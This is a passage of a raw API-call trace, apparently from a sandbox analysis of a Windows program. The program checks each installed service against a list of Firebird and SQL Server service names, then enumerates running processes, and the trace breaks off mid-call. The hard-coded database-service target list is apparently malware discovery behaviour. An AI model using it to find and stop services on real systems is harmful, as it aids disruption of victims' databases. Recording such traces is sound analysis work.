(lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0145.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0145.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0145.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0145.836] lstrlenW (lpString="DeviceAssociationService") returned 24 [0145.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0145.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0145.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0145.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0145.836] lstrlenW (lpString="Dhcp") returned 4 [0145.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0145.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0145.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0145.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0145.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0145.836] lstrlenW (lpString="Dnscache") returned 8 [0145.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0145.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0145.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0145.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0145.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0145.836] lstrlenW (lpString="DoSvc") returned 5 [0145.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0145.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0145.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0145.836] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0145.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0145.836] lstrlenW (lpString="DPS") returned 3 [0145.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0145.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0145.836] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0145.837] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0145.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0145.837] lstrlenW (lpString="DusmSvc") returned 7 [0145.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0145.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0145.837] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0145.837] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0145.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0145.837] lstrlenW (lpString="EventLog") returned 8 [0145.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0145.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0145.837] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0145.837] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0145.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0145.837] lstrlenW (lpString="EventSystem") returned 11 [0145.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0145.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0145.837] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0145.837] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0145.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0145.837] lstrlenW (lpString="FontCache") returned 9 [0145.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0145.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0145.837] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0145.837] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0145.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0145.837] lstrlenW (lpString="gpsvc") returned 5 [0145.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0145.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0145.837] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0145.837] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0145.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0145.838] lstrlenW (lpString="iphlpsvc") returned 8 [0145.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0145.838] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0145.838] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0145.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0145.838] lstrlenW (lpString="KeyIso") returned 6 [0145.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0145.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0145.838] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0145.838] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0145.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0145.838] lstrlenW (lpString="LanmanServer") returned 12 [0145.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0145.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0145.838] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0145.838] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0145.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0145.838] lstrlenW (lpString="LanmanWorkstation") returned 17 [0145.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0145.838] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0145.838] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0145.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0145.838] lstrlenW (lpString="lfsvc") returned 5 [0145.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0145.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0145.838] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0145.838] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0145.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0145.839] lstrlenW (lpString="lmhosts") returned 7 [0145.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0145.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0145.839] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0145.839] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0145.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0145.839] lstrlenW (lpString="LSM") returned 3 [0145.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0145.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0145.839] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0145.839] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0145.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0145.839] lstrlenW (lpString="MapsBroker") returned 10 [0145.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0145.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0145.839] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0145.839] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0145.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0145.839] lstrlenW (lpString="MpsSvc") returned 6 [0145.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0145.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0145.839] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0145.839] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0145.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0145.839] lstrlenW (lpString="NcbService") returned 10 [0145.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0146.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0146.050] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0146.050] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0146.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0146.050] lstrlenW (lpString="netprofm") returned 8 [0146.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0146.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0146.050] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0146.050] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0146.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0146.050] lstrlenW (lpString="NlaSvc") returned 6 [0146.050] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0146.050] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0146.050] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0146.050] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0146.050] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0146.051] lstrlenW (lpString="nsi") returned 3 [0146.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0146.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0146.051] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0146.051] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0146.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0146.051] lstrlenW (lpString="PcaSvc") returned 6 [0146.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0146.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0146.051] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0146.051] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0146.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0146.051] lstrlenW (lpString="PlugPlay") returned 8 [0146.051] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0146.051] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0146.051] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0146.051] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0146.051] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0146.430] lstrlenW (lpString="Power") returned 5 [0146.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0146.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0146.430] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0146.430] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0146.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0146.430] lstrlenW (lpString="ProfSvc") returned 7 [0146.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0146.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0146.430] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0146.430] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0146.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0146.430] lstrlenW (lpString="RpcEptMapper") returned 12 [0146.430] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.430] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0146.430] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0146.430] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0146.430] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0146.431] lstrlenW (lpString="RpcSs") returned 5 [0146.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0146.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0146.431] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0146.431] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0146.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0146.431] lstrlenW (lpString="SamSs") returned 5 [0146.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0146.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0146.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0146.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0146.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0146.431] lstrlenW (lpString="Schedule") returned 8 [0146.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0146.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0146.431] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0146.431] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0146.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0146.431] lstrlenW (lpString="SecurityHealthService") returned 21 [0146.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0146.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0146.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0146.431] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0146.431] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0146.431] lstrlenW (lpString="SENS") returned 4 [0146.431] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0146.431] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0146.431] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0146.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0146.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0146.432] lstrlenW (lpString="ShellHWDetection") returned 16 [0146.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0146.432] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0146.432] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0146.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0146.432] lstrlenW (lpString="Spooler") returned 7 [0146.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0146.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0146.432] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0146.432] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0146.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0146.432] lstrlenW (lpString="SSDPSRV") returned 7 [0146.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0146.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0146.432] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0146.432] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0146.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0146.432] lstrlenW (lpString="StateRepository") returned 15 [0146.432] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0146.432] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0146.432] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0146.432] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0146.432] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0146.433] lstrlenW (lpString="SysMain") returned 7 [0146.433] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0146.433] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0146.433] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0146.433] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0146.433] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x64ac08 | out: hHeap=0x5a0000) returned 1 [0146.433] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10d8 [0146.439] Process32FirstW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0146.440] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0146.441] lstrlenW (lpString="System") returned 6 [0146.441] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0146.442] lstrlenW (lpString="smss.exe") returned 8 [0146.442] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.443] lstrlenW (lpString="csrss.exe") returned 9 [0146.443] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0146.445] lstrlenW (lpString="wininit.exe") returned 11 [0146.445] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0146.445] lstrlenW (lpString="csrss.exe") returned 9 [0146.446] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0146.446] lstrlenW (lpString="winlogon.exe") returned 12 [0146.447] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0146.447] lstrlenW (lpString="services.exe") returned 12 [0146.447] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0146.448] lstrlenW (lpString="lsass.exe") returned 9 [0146.448] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.450] lstrlenW (lpString="svchost.exe") returned 11 [0146.450] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0146.450] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0146.451] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0146.451] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0146.451] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.453] lstrlenW (lpString="svchost.exe") returned 11 [0146.453] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0146.454] lstrlenW (lpString="dwm.exe") returned 7 [0146.454] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.455] lstrlenW (lpString="svchost.exe") returned 11 [0146.455] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.456] lstrlenW (lpString="svchost.exe") returned 11 [0146.456] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.457] lstrlenW (lpString="svchost.exe") returned 11 [0146.457] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.458] lstrlenW (lpString="svchost.exe") returned 11 [0146.458] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.459] lstrlenW (lpString="svchost.exe") returned 11 [0146.459] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.460] lstrlenW (lpString="svchost.exe") returned 11 [0146.461] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.633] lstrlenW (lpString="svchost.exe") returned 11 [0146.633] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0146.634] lstrlenW (lpString="svchost.exe") returned 11 [0146.634] Process32NextW (in: hSnapshot=0x10d8, lppe=0x8cefd2c | out: 